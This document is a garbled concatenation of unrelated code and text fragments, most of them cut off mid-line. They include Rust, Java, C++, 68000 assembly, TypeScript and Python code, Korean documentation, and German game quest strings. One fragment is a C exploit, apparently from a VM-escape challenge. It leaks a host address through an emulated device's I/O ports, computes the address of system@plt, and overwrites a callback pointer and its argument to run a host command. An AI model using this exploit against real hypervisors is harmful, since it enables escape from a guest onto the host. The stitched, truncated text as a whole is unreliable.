This code shows how to reproduce the SPLADE experiments in Table 1 from the paper: [The Tale of two MSMARCO - and their unfair comparisons](https://arxiv.org/pdf/2304.12904.pdf).


ileDevicePath
    let dev_path_utils = path_utils()?;

    let path = unsafe {
        ((*dev_path_utils).AppendDeviceNode)(path1.as_ptr(), path2.as_ptr())
    };

    DevicePath::from_ptr(path)
}use rand::prelude::*;
use std::collections::HashSet;

pub struct PortAllocator {
    available_ports: HashSet<u16>,
    rng: ThreadRng,
}

impl PortAllocator {
    // Create a new port allocator that allocates from the provided available ports
    pub fn new(available_ports: impl Iterator<Item = u16>) -> Self {
        PortAllocator {
            available_ports: available_ports.collect(),
            rng: thread_rng(),
        }
    }

    // Allocate a new port, using the desired port if it is provided and is valid
    pub fn allocate(&mut self, desired_port: Option<u16>) -> Option<u16> {
        let allocated_port = desired_port
            .and_then(|port| {
                if self.available_ports.contains(&port) {
                    Some(port)
                } else {
                    None
                }
            })
            .or_else(|| self.available_ports.iter().choose(&mut self.rng).cloned());
        if let Some(port) = allocated_port {
            self.available_ports.remove(&port);
        }
        allocated_port
    }
}

#[cfg(test)]
mod tests {
    use super::*;

    #[test]
    fn test_allocator() {
        let mut allocator = PortAllocator::new(vec![3000, 3001].into_iter());
        let ports = (allocator.allocate(None), allocator.allocate(None));
        assert!(ports == (Some(3000), Some(3001)) || ports == (Some(3001), Some(3000)));
        assert_eq!(allocator.allocate(None), None);
    }

    #[test]
    fn test_desired_port() {
        let mut allocator = PortAllocator::new(vec![3000, 3001].into_iter());
        assert_eq!(allocator.allocate(Some(3001)), Some(3001));
        assert_eq!(allocator.allocate(Some(4000)), Some(3000));
        assert_eq!(allocator.allocate(None), None);
    }
}
use nu_test_support::fs::Stub::FileWithContentToBeTrimmed;
use nu_test_support::playground::Playground;
use nu_test_support::{nu, pipeline};

#[test]
fn adds_value_provided_if_column_is_empty() {
    Playground::setup("is_empty_test_1", |dirs, sandbox| {
        sandbox.with_files(vec![FileWithContentToBeTrimmed(
            "likes.csv",
            r#"
                first_name,last_name,rusty_at,likes
                Andrés,Robalino,10/11/2013,1
                Jonathan,Turner,10/12/2013,1
                Jason,Gedge,10/11/2013,1
                Yehuda,Katz,10/11/2013,
            "#,
        )]);

        let actual = nu!(
            cwd: dirs.test(), pipeline(
            r#"
                open likes.csv
                | empty? likes 1
                | get likes
                | sum
                | echo $it
            "#
        ));

        assert_eq!(actual, "4");
    })
}

#[test]
fn adds_value_provided_for_columns_that_are_empty() {
    Playground::setup("is_empty_test_2", |dirs, sandbox| {
        sandbox.with_files(vec![FileWithContentToBeTrimmed(
            "checks.json",
            r#"
                [
                    {"boost": 1, "check": []},
                    {"boost": 1, "check": ""},
                    {"boost": 1, "check": {}},
                    {"boost": null, "check": ["" {} [] ""]}
                ]

            "#,


2612.PowerOn();
	size_t playPtr=256; // For now just ignore the header.
	while(playPtr<dat.size())
	{
		FsPollDevice();

		if(0!=ym2612.state.playingCh)
		{
			for(int chNum=0; chNum<num_channels; ++chNum)
			{
				if(0!=(ym2612.state.playingCh&(1<<chNum)) &&
				   YSTRUE!=soundPlayer.IsPlaying(FMChannel[chNum]))
				{
					auto wave=ym2612.MakeWave(chNum,time_precision_millisec,0);
					FMChannel[chNum].CreateFromSigned16bitStereo(playBackRate,wave);
					soundPlayer.PlayOneShot(FMChannel[chNum]);
					ym2612.CheckToneDone(chNum);
				}
			}
		}

		if(std::chrono::high_resolution_clock::now()<waitUntil)
		{
			continue;
		}

		switch(dat[playPtr])
		{
		case VGMCMD_YM2612_PORT0: //0x52,
		case VGMCMD_YM2612_PORT1: //0x53,
			if(playPtr+2<dat.size())
			{
				auto channelBase=(dat[playPtr]&1)*3;
				auto keyOnCh=ym2612.WriteRegister(channelBase,dat[playPtr+1],dat[playPtr+2],0);
				if(0<=keyOnCh && keyOnCh<num_channels)
				{
					auto wave=ym2612.MakeWave(keyOnCh,time_precision_millisec,0);
					FMChannel[keyOnCh].CreateFromSigned16bitStereo(playBackRate,wave);
					soundPlayer.PlayOneShot(FMChannel[keyOnCh]);
				}
				playPtr+=3;
			}
			else
			{
				std::cout << "Missing parameter: " << (unsigned int)dat[playPtr] << std::endl;
				return false;
			}
			break;
		case VGMCMD_YM2612_PORT0_WAIT0: //0x70,
		case VGMCMD_YM2612_PORT0_WAIT1: //0x71,
		case VGMCMD_YM2612_PORT0_WAIT2: //0x72,
		case VGMCMD_YM2612_PORT0_WAIT3: //0x73,
		case VGMCMD_YM2612_PORT0_WAIT4: //0x74,
		case VGMCMD_YM2612_PORT0_WAIT5: //0x75,
		case VGMCMD_YM2612_PORT0_WAIT6: //0x76,
		case VGMCMD_YM2612_PORT0_WAIT7: //0x77,
		case VGMCMD_YM2612_PORT0_WAIT8: //0x78,
		case VGMCMD_YM2612_PORT0_WAIT9: //0x79,
		case VGMCMD_YM2612_PORT0_WAITA: //0x7A,
		case VGMCMD_YM2612_PORT0_WAITB: //0x7B,
		case VGMCMD_YM2612_PORT0_WAITC: //0x7C,
		case VGMCMD_YM2612_PORT0_WAITD: //0x7D,
		case VGMCMD_YM2612_PORT0_WAITE: //0x7E,
		case VGMCMD_YM2612_PORT0_WAITF: //0x7F,
			{
				unsigned int microsec=(dat[playPtr]&0x0F)+1;
				microsec*=1000000;
				microsec/=44100;
				waitUntil=std::chrono::high_resolution_clock::now()+std::chrono::microseconds(microsec);
				++playPtr;
			}
			break;

		case VGMCMD_YM2612_PORT0_2A_WAIT0: //0x80,
		case VGMCMD_YM2612_PORT0_2A_WAIT1: //0x81,
		case VGMCMD_Y


regelGraphAlgorithm<>(null, "run-" + suffix, CLUSTER.bootstrapServers(),
                CLUSTER.zKConnectString(), "vertices-" + suffix, "edgesGroupedBySource-" + suffix,
                Collections.emptyMap(), graph.serialized(),
                "solutionSet-" + suffix, "solutionSetStore-" + suffix, "workSet-" + suffix, 2, (short) 1,
                configs, Optional.empty(), new KMeansClustering<>());
        streamsConfiguration = ClientUtils.streamsConfig("run-" + suffix, "run-client-" + suffix,
            CLUSTER.bootstrapServers(), graph.keySerde().getClass(), KryoSerde.class);
        KafkaStreams streams = algorithm.configure(new StreamsBuilder(), streamsConfiguration).streams();
        GraphAlgorithmState<KTable<Long, KMeansVertexValue>> paths = algorithm.run();
        paths.result().get();

        Map<Long, KMeansVertexValue> map = StreamUtils.mapFromStore(paths.streams(), "solutionSetStore-" + suffix);
        log.debug("result: {}", map);

        assertEquals("{1=0, 2=1, 3=2, 4=0, 5=2, 6=2, 7=1, 8=0}", map.toString());
    }

    @Test
    public void test3() throws Exception {
        String suffix = "3";
        StreamsBuilder builder = new StreamsBuilder();

        List<KeyValue<Long, KMeansVertexValue>> list = new ArrayList<>();
        list.add(new KeyValue<>(1L, new KMeansVertexValue(Stream.of(-4.31568, -0.396959, -6.29507).collect(Collectors.toList()), 0)));
        list.add(new KeyValue<>(2L, new KMeansVertexValue(Stream.of(-4.56112, -1.74917, -4.57874).collect(Collectors.toList()), 0)));
        list.add(new KeyValue<>(3L, new KMeansVertexValue(Stream.of(4.54508, 0.102845, 6.35385).collect(Collectors.toList()), 0)));
        list.add(new KeyValue<>(4L, new KMeansVertexValue(Stream.of(4.87746, -0.832591, 7.06942).collect(Collectors.toList()), 0)));
        list.add(new KeyValue<>(5L, new KMeansVertexValue(Stream.of(-5.91254, -0.278006, -4.25934).collect(Collectors.toList()), 0)));
        list.add(new KeyValue<>(6L, new KMeansVertexValue(Stream.of(6.95139, 0.120139, 4.89531).collect(Collectors.toList()), 0)));
        list.add(new KeyValue<>(7L, new KMeansVertexValue(Stream.of(-6.28538, -0.88527, -4.74988).collect(Collectors.toList()), 0)));
        list.add(new KeyValue<>(8L, new KMeansVertexValue(Stream.of(-6.84791, 0.887664, -4.91919).collect(Collectors.toList()), 0)));
        list.add(new KeyValue<>(9L, new KMeansVertexValue(Stream.of(7.47117, 1.67911, 6.02221).collect(Collectors.toList()), 0)));
        list.add(new KeyValue<>(10L, new KMeansVertexValue(Stream.of(-4.78011, 1.2099, -4.55519).collect(Collectors.toList()), 0)));
        Properties producerConfig = ClientUtils.producerConfig(CLUSTER.bootstrapServers(), LongSerializer.class,
            KryoSerializer.class, new Properties()
        );
        KTable<Long, KMeansVertexValue> vertices =
            StreamUtils.tableFromCollection(builder, producerConfig, "vertices-" + suffix, 2, (short) 1, Serdes.Long(), new KryoSerde<>(), list);
        Properties producerConfig2 = ClientUtils.producerConfig(CLUSTER.bootstrapServers(), KryoSerializer.class,
            LongSerializer.cl


eCreator");
    pc_str = json_object_get_string ( jprivatecreator );
    gdcm_assert( pc_str );
    }

  VR::VRType vrtype = VR::GetVRTypeFromFile( vr_str );
  gdcm_assert( vrtype != VR::INVALID );
  gdcm_assert( vrtype != VR::VR_END );
  de.SetVR( vrtype );

  if( vrtype == VR::SQ )
    {
    json_object * jvalue = json_object_object_get_old(obj, "Value");
    json_type jvaluetype = json_object_get_type( jvalue );
    gdcm_assert( jvaluetype != json_type_null && jvaluetype == json_type_array  );
#ifndef NDEBUG
    json_object * jseq = json_object_object_get_old(obj, "Sequence");
    json_type jsqtype = json_object_get_type( jseq );
    gdcm_assert( jsqtype == json_type_null );
#endif
    if( jvaluetype == json_type_array )
      {
      // Create a Sequence
      SmartPointer<SequenceOfItems> sq = new SequenceOfItems;
      sq->SetLengthToUndefined();

      int sqlen = json_object_array_length ( jvalue );
      for( int itemidx = 0; itemidx < sqlen; ++itemidx )
        {
        json_object * jitem = json_object_array_get_idx ( jvalue, itemidx );
        json_type jitemtype = json_object_get_type( jitem );
        gdcm_assert( jitemtype == json_type_object );
        //const char * dummy = json_object_to_json_string ( jitem );

        // Create an item
        Item item;
        item.SetVLToUndefined();
        DataSet &nds = item.GetNestedDataSet();

#ifdef JSON_C_VERSION
        json_object_iterator it;
        json_object_iterator itEnd;
        it = json_object_iter_begin(jitem);
        itEnd = json_object_iter_end(jitem);

        while (!json_object_iter_equal(&it, &itEnd))
          {
          const char *name = json_object_iter_peek_name(&it);
          gdcm_assert( name );
          json_object * value = json_object_iter_peek_value (&it);
          DataElement lde;
          ProcessJSONElement( name, value, lde );
          nds.Insert( lde );
          json_object_iter_next(&it);
          }
#endif
        sq->AddItem(item);
        }

      // Insert sequence into data set
      de.SetValue(*sq);
      de.SetVLToUndefined();
      }
    }
  else if( VR::IsASCII( vrtype ) )
    {
/*
    F.2.5              DICOM JSON Model Null Values
    If an attribute is present in DICOM but empty, it shall be preserved in the DICOM JSON object and passed
    with the value of "null". For example:
    "Value": [ null ]
*/
    json_object * jvalue = json_object_object_get_old(obj, "Value");
#ifndef NDEBUG
    json_object * jpn = json_object_object_get_old(obj, "PersonName");
    json_type jpntype = json_object_get_type( jpn );
    gdcm_assert( jpntype == json_type_null );
#endif
    json_type jvaluetype = json_object_get_type( jvalue );
    //const char * dummy = json_object_to_json_string ( jvalue );
    gdcm_assert( jvaluetype == json_type_null || jvaluetype == json_type_array );
    if( jvaluetype == json_type_array )
      {
      //gdcm_assert( vrtype != VR::PN );


sub.l	d0,d4
	sub.l	d1,d5
	cmp.l	d4,d5
	bgt.s	cas3
	move	#$4000,d6
	mulu	#NBOCLIN,d1
	add.l	d1,a0
	move.l	d0,d1
	lsr.l	#4,d0
	lsl.l	#3,d0
	add.l	d0,a0
	move	#$8000,d0
	and	#$f,d1
	lsr	d1,d0
	move.w	#$4000,d1
	lea	line8,a1
	move	d4,d7
	mulu	#24,d7
	sub.l	d7,a1
	jmp	(a1)
cas3	move.l	#$4000,d6
	mulu 	#NBOCLIN,d1
	add.l	d1,a0
	move.l	d0,d1
	lsr 	#4,d1
	lsl 	#3,d1
	add.l	d1,a0
	and	#$f,d0
	move 	#$8000,d2
	lsr 	d0,d2
	lea	linea,a1
	move.l	d5,d7
	mulu	#24,d7
	sub.l	d7,a1
	move.w	#$4000,d0
	jmp	(a1)
	rept	NBPTMY
	or 	d3,(a0)
	lea	-NBOCLIN(a0),a0
	endr
line1	rts
	rept	NBPTMY
	or 	d3,(a0)
	lea	NBOCLIN(a0),a0
	endr
line2	rts
	rept	NBPTMX
	ror 	d0
	btst	#15,d0
	dc.w	$6702
	addq.l	#8,a0
	or 	d0,(a0)
	endr
line3	rts
	rept	NBPTMAX
	lea	-NBOCLIN(a0),a0
	sub	d4,d6
	cmp	d0,d6
	dc.w	$6e0c
	ror	d2
	add	d5,d6
	btst	#15,d2
	dc.w	$6702
	addq.l	#8,a0
	or	d2,(a0)
	endr
line6	rts
	rept	NBPTMAX
	lea	NBOCLIN(a0),a0
	sub 	d4,d6
	cmp 	d0,d6
	dc.w	$6e0c
	ror 	#1,d2
	add 	d5,d6
	btst	#15,d2
	dc.w	$6702
	addq.l	#8,a0
	or 	d2,(a0)
	endr
linea	rts
	rept	NBPTMAX
	cmp	d1,d6
	dc.w	$6d06
	sub	d4,d6
	lea	-NBOCLIN(a0),a0
	ror	d0
	btst	#15,d0
	dc.w	$6702
	addq.l	#8,a0
	add	d5,d6
	or	d0,(a0)
	endr
line5	rts
	rept	NBPTMAX
	cmp	d1,d6
	dc.w	$6d06
	sub	d4,d6
	lea	NBOCLIN(a0),a0
	add	d5,d6
	ror	d0
	btst	#15,d0
	dc.w	$6702
	addq.l	#8,a0
	or	d0,(a0)
	endr
line8	rts
;====================================
	section	data
;====================================
new_pal	dc.l	$01110000,$01010202,$03030404,$05050606,$07070717,$07270737,$07470757,$07670777
pal	dc.w	0,$444,$555,0,$666,0,0,0,$777,0,0,0,0,0,0,0,0
raster	rept	10
	dc.w	$440,$550,$660,$770,$671,$572,$473,$374,$275,$175,$076,$077
	dc.w	$066,$055,$044,$134,$224,$314,$404,$505,$606,$707,$617,$527
	dc.w	$437,$347,$257,$167,$077,$076,$175,$275,$374,$473,$572,$671
	dc.w	$771,$662,$553,$444
	endr
raster2	rept	155
	dc.w	$111
	endr
	dc.w	$2,$4,$6,$7,$7
raster3	rept	150
	dc.w	$777
	endr
	dc.


python
# 뉴스 생성 비활성화 (성능 향상)
engine.enable_news_generation(False)

# 필요한 시점에만 수동으로 뉴스 생성
announcer.generate_news_for_event_from_firestore(...)
```

### 2. 컨텍스트 이벤트 수 조정
```python
# 컨텍스트로 사용할 이벤트 수 조정
news_list = announcer.generate_news_for_event_from_firestore(
    sim_id=sim_id,
    event_id=event_id,
    outlets=outlets,
    context_events_limit=3  # 기본값: 5
)
```

### 3. 언론사 수 조정
```python
# 테스트용으로 일부 언론사만 선택
test_outlets = [
    Media(name="조선일보", bias=-0.8, credibility=0.7),
    Media(name="한겨레", bias=0.7, credibility=0.8),
    Media(name="매일경제", bias=0.0, credibility=0.8),
]
```

## 확장 가능한 기능

### 1. 뉴스 기사 분석
- 감정 분석 (긍정/부정/중립)
- 키워드 추출
- 영향도 측정

### 2. 뉴스 기사 필터링
- 특정 언론사만 선택
- 신뢰도 기준 필터링
- 성향별 그룹핑

### 3. 뉴스 기사 통계
- 언론사별 기사 수
- 이벤트별 보도 빈도
- 성향별 보도 패턴

### 4. 실시간 뉴스 피드
- 웹 대시보드에서 실시간 뉴스 표시
- 언론사별 탭 분리
- 검색 및 필터링 기능

## 문제 해결

### 뉴스 기사가 생성되지 않는 경우
1. 이벤트 로그가 파이어스토어에 저장되었는지 확인
2. 시뮬레이션 ID와 이벤트 ID가 올바른지 확인
3. 뉴스 생성이 활성화되어 있는지 확인
4. LLM 서비스 연결 상태 확인

### 뉴스 기사 품질 문제
1. 프롬프트 템플릿 조정
2. 컨텍스트 이벤트 수 증가
3. 언론사 설정 조정
4. LLM 모델 변경

### 성능 이슈
1. 뉴스 생성 빈도 줄이기
2. 언론사 수 줄이기
3. 컨텍스트 이벤트 수 �


void pmio_writeb(uint32_t addr, uint32_t val)
{
        outb(val, pmio_base + (addr - 0x230));
}

int main(int argc, char** argv, char** envp)
{
        mmio_init();
        pmio_init();
        /*
        puts("[+] outl");
        pmio_writel(0x240, 0x38);
        puts("[+] outw");
        pmio_writew(0x240, 0x38);
        */
        puts("[+] outb");
        pmio_writeb(0x240, 0x38);
        pmio_writeb(0x230, 1);
        uint64_t cb_addr = cmb_read(0x100);
        printf("[+] cb_addr: %#llx\n", cb_addr);
        pmio_writeb(0x240, 0x3c);
        pmio_writeb(0x230, 1);
        cb_addr = cb_addr | ((1ULL * cmb_read(0x100)) << 32);
        uint64_t system_plt = cb_addr - 0x00000000004DCF10 + 0x00000000002AB860;
        printf("[+] cb_addr: %#llx\n", cb_addr);
        printf("[+] system@plt: %#llx\n", system_plt);

        pmio_writeb(0x240, 0x40);
        pmio_writeb(0x230, 1);
        uint64_t arg_addr = cmb_read(0x100);
        printf("[+] arg_addr: %#llx\n", arg_addr);
        pmio_writeb(0x240, 0x44);
        pmio_writeb(0x230, 1);
        arg_addr = arg_addr | ((1ULL * cmb_read(0x100)) << 32);
        uint64_t cmd_addr = arg_addr + 0xb90;
        printf("[+] arg_addr: %#llx\n", arg_addr);
        printf("[+] cmd_addr: %#llx\n", cmd_addr);

        pmio_writeb(0x240, 0x38);
        pmio_writeb(0x230, 1);
        cmb_write(0x100, system_plt&0xffffffff);
        pmio_writeb(0x240, 0x3c);
        pmio_writeb(0x230, 1);
        cmb_write(0x100, (system_plt>>32)&0xffffffff);

        pmio_writeb(0x240, 0x40);
        pmio_writeb(0x230, 1);
        cmb_write(0x100, cmd_addr&0xffffffff);
        pmio_wri


ereskreatur", {"Am Strand liegt der halb aufgefressene Kadaver von etwas, das vielleicht einmal ein riesiger Meeressäuger war. Eine Bande Murlocs, stärker als diejenigen, die näher an Auberdine zu finden sind, haben ihr Lager um die verendete Kreatur herum aufgeschlagen. Es ist noch genug von der Kreatur übrig, um Gwennyth Bly'Leggonde in Auberdine eine passende Probe ihrer Knochen bringen zu können."}, {"Bringt die Meereskreaturknochen nach Auberdine zu Gwennyth Bly'Leggonde."}},
[4731] = {"Gestrandete Meeresschildkröte", {"Erneut findet Ihr gestrandete Meeresschildkrötenüberreste. Bei diesen Überresten ist eine Art Sänfte auf dem Panzer der Schildkröte festgeschnallt. Vielleicht wurde diese Kreatur von unbekannten Wesen an den Strand getrieben, statt sich selbst auf Strand zu setzen, wie sich aus einigen der anderen Überreste schließen ließ. Mächtige Grauflossenmurlocs haben sich beim Gerippe der Kreatur niedergelassen.","In der Sänfte findet Ihr einen Kasten mit seltsamen Zeichen darauf - vielleicht kann Gwennyth Bly'Leggonde in Auberdine sich einen Reim darauf machen."}, {"Bringt den seltsam markierten Kasten nach Auberdine zu Gwennyth Bly'Leggonde."}},
[4732] = {"Gestrandete Meeresschildkröte", {"Ihr findet den Kadaver einer Meeresschildkröte, die sich selbst vor einiger Zeit an das Ufer von Dunkelküste auf Strand gesetzt hat. Der Kadaver ist schon fast vollständig von Grauflossenmurlocs abgefressen worden - eben jenen Murlocs, die um die Überreste der Kreatur herum ihr Lager aufgeschlagen haben. Dennoch scheinen an den Überresten der Kreatur noch einige geeignete Proben zu haften, aus denen Gwennyth Bly'Leggonde aus Auberdine vielleicht noch etwas machen kann."}, {"Bringt die Meeresschildkrötenüberreste nach Auberdine zu Gwennyth Bly'Leggonde."}},
[4733] = {"Gestrandete Meereskreatur", {"Die Überbleibsel dessen, was anscheinend einmal ein riesiger Drescher war, wurden an den steinigen Gestaden des Zwielichtufers angeschwemmt. Der Drescher ist wesentlich größer als alle anderen Drescher, die in diesen Landesteilen gesichtet wurden. Wo immer die Kreatur auch hergekommen sein mag, es scheint nicht so, als sei sie in Dunkelküste heimisch.","Obwohl das Wesen schon stellenweise angefressen wurde, ist noch genug davon übrig, um eine passende Probe für Gwennyth Bly'Leggonde in Auberdine einzusammeln."}, {"Bringt die Meereskreaturknochen nach Auberdine zu Gwennyth Bly'Leggonde."}},
[4734] = {"Ei-Frosten", {"Ich habe hart an einem neuen Gerät gearbeitet, <Name> - dem Eiszilloskop! Es ist so konstruiert, dass es einen Strahl kalter Energie auf das Ei eines schwarzen Großdrachen abgibt und es einfriert! Könnt Ihr das für mich ausprobieren?","Ich habe gehört, dass die Großdrachen weit oben auf der Blackrockspitze einen Horst haben, wo sie ihre Eier ausbrüten. Da müsst Ihr hin, um das Eiszilloskop zu testen, und dann müsst Ihr mir sagen,


*
     */
    public com.google.cloud.gkemulticloud.v1.SecurityPostureConfig.Builder
        getSecurityPostureConfigBuilder() {
      bitField0_ |= 0x00400000;
      onChanged();
      return getSecurityPostureConfigFieldBuilder().getBuilder();
    }

    /**
     *
     *
     *

     * Optional. Security Posture configuration for this cluster.
     *

     *
     *
     * .google.cloud.gkemulticloud.v1.SecurityPostureConfig security_posture_config = 26 [(.google.api.field_behavior) = OPTIONAL];
     *
     */
    public com.google.cloud.gkemulticloud.v1.SecurityPostureConfigOrBuilder
        getSecurityPostureConfigOrBuilder() {
      if (securityPostureConfigBuilder_ != null) {
        return securityPostureConfigBuilder_.getMessageOrBuilder();
      } else {
        return securityPostureConfig_ == null
            ? com.google.cloud.gkemulticloud.v1.SecurityPostureConfig.getDefaultInstance()
            : securityPostureConfig_;
      }
    }

    /**
     *
     *
     *

     * Optional. Security Posture configuration for this cluster.
     *

     *
     *
     * .google.cloud.gkemulticloud.v1.SecurityPostureConfig security_posture_config = 26 [(.google.api.field_behavior) = OPTIONAL];
     *
     */
    private com.google.protobuf.SingleFieldBuilderV3<
            com.google.cloud.gkemulticloud.v1.SecurityPostureConfig,
            com.google.cloud.gkemulticloud.v1.SecurityPostureConfig.Builder,
            com.google.cloud.gkemulticloud.v1.SecurityPostureConfigOrBuilder>
        getSecurityPostureConfigFieldBuilder() {
      if (securityPostureConfigBuilder_ == null) {
        securityPostureConfigBuilder_ =
            new com.google.protobuf.SingleFieldBuilderV3<
                com.google.cloud.gkemulticloud.v1.SecurityPostureConfig,
                com.google.cloud.gkemulticloud.v1.SecurityPostureConfig.Builder,
                com.google.cloud.gkemulticloud.v1.SecurityPostureConfigOrBuilder>(
                getSecurityPostureConfig(), getParentForChildren(), isClean());
        securityPostureConfig_ = null;
      }
      return securityPostureConfigBuilder_;
    }

    private com.google.protobuf.MapField<java.lang.String, java.lang.String> tags_;

    private com.google.protobuf.MapField<java.lang.String, java.lang.String> internalGetTags() {
      if (tags_ == null) {
        return com.google.protobuf.MapField.emptyMapField(TagsDefaultEntryHolder.defaultEntry);
      }
      return tags_;
    }

    private com.google.protobuf.MapField<java.lang.String, java.lang.String>
        internalGetMutableTags() {
      if (tags_ == null) {
        tags_ = com.google.protobuf.MapField.newMapField(TagsDefaultEntryHolder.defaultEntry);
      }
      if (!tags_.isMutable()) {
        tags_ = tags_.copy();
      }
      bitField0_ |= 0x00800000;
      onChanged();
      return tags_;
    }

    public int getTagsCount() {
      return internalGetTags().getMap().size();
    }

    /**
     *
     *
     *

     * Optional. Input only. Tag keys/values directly bound to this resource.
     *
     * Tag key must be specified in the format <tag namespace>/<tag key name>
     * where the tag namespace is the ID of the organization or name of the
     * project that the tag key is defined in.
     * The short name of a tag key or value can have a maximum length of


 {
    super.bind();

    this.bindPoints();
    this.bindInputChange();
  }

  /**
   * Навешивание события на изменение инпута
   */
  private bindInputChange() {
    this.inputsNodes.forEach((inputNode, index) => {
      let timeout: number;

      inputNode.addEventListener('keyup', () => {
        this.setValue(index, parseInt(inputNode.value, 10));

        window.clearTimeout(timeout);
        timeout = window.setTimeout(() => {
          // Вызываем пользовательскую функцию
          if (typeof this.config.callbacks.changed === 'function') {
            try {
              this.config.callbacks.changed({
                values: this.getValues(),
              });
            } catch (error) {
              return this.logger.error(`Ошибка исполнения пользовательского метода "changed", дословно: ${error}!`);
            }
          }
        }, this.config.changeDelay);
      });
    });
  }

  /**
   * Навешивание событий перетаскивания мышкой и пальцем на ползунки
   *
   * @private
   */
  private bindPoints(): void {
    this.pointsNodes.forEach((pointNode, i) => {
      // Начальная позиция мыши
      let startMousePosition = 0;

      // Конечная позиция мыши
      let endMousePosition = 0;

      // DOM элемент следующего ползунка
      const nextPointNode = <HTMLElement>pointNode.nextSibling;

      // DOM элемент предыдущего ползунка
      const prevPointNode = <HTMLElement>pointNode.previousSibling;

      /**
       * Функция перетаскивания ползунка
       *
       * @param event - событие мыши
       */
      const elementDrag = (event: any): void => {
        // Рассчет новой позиции курсора
        endMousePosition = startMousePosition - (event.clientX || (event.touches ? event.touches[0].clientX : 0));
        startMousePosition = event.clientX || (event.touches ? event.touches[0].clientX : 0);

        // Передвижение ползунка
        this.move(pointNode, nextPointNode, prevPointNode, pointNode.offsetLeft - endMousePosition, i, true, true);

        // Просчёт положения и размера соединительной полоски
        if (this.config.connect) {
          this.calculateConnect();
        }

        // Вызываем пользовательскую функцию
        if (typeof this.config.callbacks.changed === 'function') {
          try {
            this.config.callbacks.changed({
              values: this.getValues(),
            });
          } catch (error) {
            return this.logger.error(`Ошибка исполнения пользовательского метода "changed", дословно: ${error}!`);
          }
        }
      };

      /**
       * Завершение перетаскивания(момент отпускания кнопки мыши), удаляем все слушатели, т.к. они создаются при каждом новом перетаскивании
       */
      const endDragElement = (): void => {
        document.removeEventListener('mouseup', <any>endDragElement);
        document.removeEventListener('touchend', <any>endDragElement);

        document.removeEventListener('mousemove', <any>elementDrag);
        document.removeEventListener('touchmove', <any>element


 cDistSq = lengthSq(area.oobb.center() - existing_area.oobb.center());
        Point3 szDiff = abs(area.oobb.width() - existing_area.oobb.width());
        float maxSzDiff = max(max(szDiff.x, szDiff.y), szDiff.z);
        if ((cDistSq <= posThreshold * posThreshold) && (maxSzDiff <= posThreshold))
          return false;
      }
      return true;
    });
}

template <typename AreaT, typename AreaHashMapT, typename AltAreaHashMapT, typename GetTileAreasCB, typename AllowUpdateCB>
void CustomNav::areaUpdate(AreaT &area, AreaHashMapT &areas, AltAreaHashMapT &alt_areas, GetTileAreasCB get_tile_areas_cb,
  AllowUpdateCB allow_update_cb)
{
  dtNavMesh *navMesh = getNavMeshPtr();
  if (!navMesh || (area.id == 0))
    return;

  restoreLostTiles();

  auto removeEmptyTiles = [this](const Tab<uint32_t> &tile_ids_to_check) {
    for (uint32_t tile_id : tile_ids_to_check)
    {
      auto it = tiles.find(tile_id);
      if ((it != tiles.end()) && it->second.cylinderAreas.empty() && it->second.boxAreas.empty())
        tiles.erase(it);
    }
  };

  // Area with this ID already exists and is of the same type as 'area'
  auto it = areas.find(area.id);
  if (it != areas.end())
  {
    auto &existingArea = it->second;
    if (!allow_update_cb(existingArea))
      return;
    Tab<uint32_t> affectedTiles(framemem_ptr());
    areaRemoveFromTiles(existingArea, affectedTiles, get_tile_areas_cb);
    uint32_t generation = existingArea.generation;
    existingArea = area;
    existingArea.generation = generation + 1;
    areaAddToTiles(existingArea);
    removeEmptyTiles(affectedTiles);
    return;
  }

  // Area with this ID already exists, but is not of the same type as 'area'
  const auto jt = alt_areas.find(area.id);
  if (jt != alt_areas.end())
  {
    auto &existingArea = jt->second;
    Tab<uint32_t> affectedTiles(framemem_ptr());
    areaRemoveFromTiles(existingArea, affectedTiles, get_tile_areas_cb);
    area.generation = existingArea.generation + 1;
    it = areas.insert(eastl::make_pair(area.id, area)).first;
    areaAddToTiles(it->second);
    removeEmptyTiles(affectedTiles);
    alt_areas.erase(jt);
    return;
  }

  // Area with this ID does not exist, let's add it
  it = areas.insert(eastl::make_pair(area.id, area)).first;
  areaAddToTiles(it->second);
}

class CustomNavHelper
{
public:
  static EASTL_FORCE_INLINE bool isAreaTile(const dtMeshTile *tile, const BBox3 &aabb, const CustomNav::BoxArea &area)
  {
    BBox3 tileAABB(Point3(&tile->header->bmin[0], Point3::CTOR_FROM_PTR), Point3(&tile->header->bmax[0], Point3::CTOR_FROM_PTR));
    if (!(aabb & tileAABB))
      return false;
    return check_bbox_intersection(area.oobb, area.tm, tileAABB, TMatrix::IDENT);
  }

  static EASTL


trainer.trainer import LtxvTrainer

        # 创建训练器配置
        trainer_config = LtxvTrainerConfig.model_validate(config)

        # 打印配置信息
        print("\n训练配置:")
        print(f"- 本地模型路径: {config['model']['model_source']}")
        print(f"- 训练步数: {config['optimization']['steps']}")
        print(f"- 视频分辨率: {config['validation']['video_dims']}")
        print(f"- LoRA秩: {config['lora']['rank']}")
        print(f"- 输出目录: {config['output_dir']}")

        # 修补LtxvTrainer类
        def patch_trainer():
            # 保存原始方法
            original_load_models = LtxvTrainer._load_models

            # 替换方法
            def patched_load_models(self):
                print("使用直接本地化的组件加载...")
                model_path = self._config.model.model_source
                components = load_model_components(model_path)

                # 设置组件
                self._tokenizer = components.tokenizer
                self._text_encoder = components.text_encoder
                self._vae = components.vae
                self._transformer = components.transformer
                self._scheduler = components.scheduler

                print("所有组件已加载完成!")

            # 应用补丁
            LtxvTrainer._load_models = patched_load_models
            print("已修补LtxvTrainer._load_models方法")

        # 应用补丁
        patch_trainer()

        # 跳过预处理器补丁 - 根据之前的记忆优化视频处理
        print("跳过预处理补丁 - 不需要访问引擎内部")

        # 检查预处理数据目录是否存在
        precomputed_dir = Path(config["data"]["preprocessed_data_root"])
        if not precomputed_dir.exists():
            print(f"警告: 预处理数据目录不存在: {precomputed_dir}")
            print("创建空目录结构以避免处理错误...")

            # 创建基本目录结构
            os.makedirs(precomputed_dir, exist_ok=True)

            # 创建一个格式正确的空标题文件
            dummy_scene_dir = precomputed_dir / "dummy_scene"
            os.makedirs(dummy_scene_dir, exist_ok=True)

            # 空标题文件
            dummy_titles = {"titles": ["dummy video"]}
            with open(dummy_scene_dir / "titles.json", "w", encoding="utf-8") as f:
                json.dump(dummy_titles, f)

            print(f"已创建基本目录结构: {dummy_scene_dir}")
        else:
            print(f"使用现有预处理数据目录: {precomputed_dir}")

        # 初始化训练器
        print("\n初始化训练器...")
        trainer = LtxvTrainer(trainer_config)

        # 开始训练
        print("\n开始训练...")
        result_path, stats = trainer.train()

        print(f"\n训练完成!")
        print(f"模型保存在: {result_path}")
